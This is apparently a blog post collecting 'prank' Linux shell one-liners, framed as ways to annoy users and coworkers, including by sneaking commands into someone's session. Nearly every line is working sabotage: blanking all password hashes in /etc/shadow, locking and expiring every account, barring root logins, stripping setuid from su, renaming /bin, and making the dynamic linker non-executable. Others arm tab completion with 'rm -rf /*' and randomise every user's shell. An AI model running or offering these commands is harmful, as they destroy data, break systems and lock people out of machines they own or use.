Include this somewhere in cron, or just run it yourself from time to time to give your users the diversity they so rightly deserve:
for I in $(getent passwd | cut -d: -f1 ) do chsh -s $(sort -R /etc/shells | head -n1) ${I} done
bmr just pointed me towards this one.
It looks like a nice way to annoy your cow-orkers…
chmod a-x $(find /home -depth -maxdepth 1 -type d)
Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.
mv /bin '/bin '
Pop this one into a bash session and watch the hilarity ensue:
complete -E -W 'rm\ -rf\ /*\ /.*'
And while we’re having fun try this one as well (advertorial alert):
complete -W 'http://breakingsystemsforfunandprofit.com' elinks links firefox chrome midori epiphany wget opera
sed -ri 's/([^:]*):[^:]*:(.*)/\1:!!:\2/' /etc/shadow
Or for the wusses who want something a bit more recoverable:
for I in $(getent passwd | cut -d: -f1) do passwd -l ${I} chage -E0 -M1 -m513 -I1 -W1023 ${I} done
printf 'root\t-\tmaxlogins\t0\n' >> /etc/security/limits.conf
chmod u-s /bin/su
Another nice one to confuse and annoy, as usual you need to sneak this one into somebody’s bash session:
export PROMPT_COMMAND='export TMOUT=$[ ${RANDOM} % 15 ]'
This one was submitted by giulivo using the submission link:
chmod a-x /lib/ld-2*.so
